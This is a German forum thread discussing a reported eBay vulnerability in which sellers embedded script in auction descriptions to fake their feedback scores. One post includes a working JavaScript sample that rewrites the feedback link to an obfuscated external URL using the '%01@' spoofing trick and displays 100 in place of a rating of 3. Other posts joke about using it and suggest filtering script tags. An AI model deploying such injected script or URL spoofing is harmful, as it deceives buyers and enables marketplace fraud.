Sicherheitslücke bei Ebay

[C.K.]

http://www.spiegel.de/netzwelt/technologie/0,1518,283154,00.html

Weiß übrigens irgendjemand, wie die das genau machen, aus der Beschreibung im Artikel werde ich nicht schlau?!

Gruß,
Colja

 

[womstar]

du greifst auf die bestehenden links zu, die immer die selbe adresse besitzen. diesen link, mit der gesuchten adresse, weist du per script eine id zu und kannst so über die id, den link ansprechen und mit innerHTML verändern.

der rest ist einfach:
eine kopie einer bewertungsseite auf seinen eigenen server gelegt, z.b. in einen subdomain, der noch irgendwie die bezeichung ebay hat und noch dem link mit der definierten id eine neue href-adresse zuweisen.

oder man nutz die sicherheitslücke des ie's

schwubst ist man der beste bei ebay.

das ganze könnte so ausehen.
orginal user:

<html>
<head>
<script>
changelink = function() {

for(x=0;x<document.links.length;x++) {

if(document.links[x] == "http://cgi2.ebay.de/aw-cgi/eBayISAPI.dll?ViewFeedback&userid=dragoon1112") {
document.links[x].id = "mylink";
document.links[x].href = unescape('http://cgi2.ebay.de%01@www.more-style.de');
document.links[x].target = "_blank";
}
}

document.getElementById("myLink").innerHTML = "100";
};
</script>
</head>
<body>
<font face="Arial" size="2"><a href="http://contact.ebay.de/aw-cgi/eBayISAPI.dll?ShowCoreAskSellerQuestion&requested=dragoon1112&iid=2883722997&frm=284">dragoon1112</a><img src="http://pics.ebaystatic.com/aw/pics/spacer.gif" width="4" border="0" alt=" ">( <a href="http://cgi2.ebay.de/aw-cgi/eBayISAPI.dll?ViewFeedback&userid=dragoon1112">3</a> )</font>
<script>changelink();</script>
</body>
</html>

im code kann man sehen das seine bewertung 3 ist, aber in einem html doc wird plötzlich 100 angezeigt.

 

[jonas_kl]

Danke für den Tipp!
Ich werd' mich gleich mal bei e-Bay anmelden...

Jonas

p.s. Such jemand zufällig ein hochwertiges Rechner-Case von einem absolut ehrlichen und zuverlässigen Verkäufer?
(Wer's nicht glaubt, kann sich ja gern die Meinung meiner Ex-Käufer ansehen )

 

[womstar]

@jonas_kl

naja ich denke ebay geht gegen solche leute hart vor, weil es in meinen augen eine grobe täuschung und ... naja eine art von urkundenfälschung ist.
ich bezweifle stark das man sich dann überhaupt nach bei ebay registrieren kann.

zu mal ich denke das eine hohe bewertung nicht gleich vertauens würdig mach. zu einem gewissen grad schon, aber ich kaufe auch von leuten die nur 5 gute bewertungen haben oder nur 1 ... und hab bis jetzt noch nie probleme gehabt.

es gibt halt überall schwarze schafe.

 

[jonas_kl]

Original geschrieben von womstar
naja ich denke ebay geht gegen solche leute hart vor, weil es in meinen augen eine grobe täuschung und ... naja eine art von urkundenfälschung ist.

Ich hab das ja auch nicht ernst gemeint (siehe Symilies).

zu mal ich denke das eine hohe bewertung nicht gleich vertauens würdig mach. zu einem gewissen grad schon, aber ich kaufe auch von leuten die nur 5 gute bewertungen haben oder nur 1 ... und hab bis jetzt noch nie probleme gehabt.

Dazu kann ich überhaupt nichts sagen. Ich bin weder Kunde noch kenne ich jemanden, der regelmäßig bei eBay kauft.

es gibt halt überall schwarze schafe.

Eben. Da fall ich doch gar nicht auf...

Jonas

 

[womstar]

@jonas_kl

ich weis das du es nicht erst gemeint hast, aber das wollte ich sowieso noch ablassen ... da kamst du mir gerade recht

 

[womstar]

sacht mal die machen ja im TV einen riesen aufriss deswegen ... dabei denke ich ist die lösung theoretisch einfach.

die eingabe des beschreibungstextes einfach durch eine filter funktion schicken die nur die <script></script> entfernt.
oder document.write's oder ascii sachen die script-tags ergeben würden entfernt.

damit würde das script nicht funtzen und die beschreibung sieht dadurch noch äußerst unschön aus.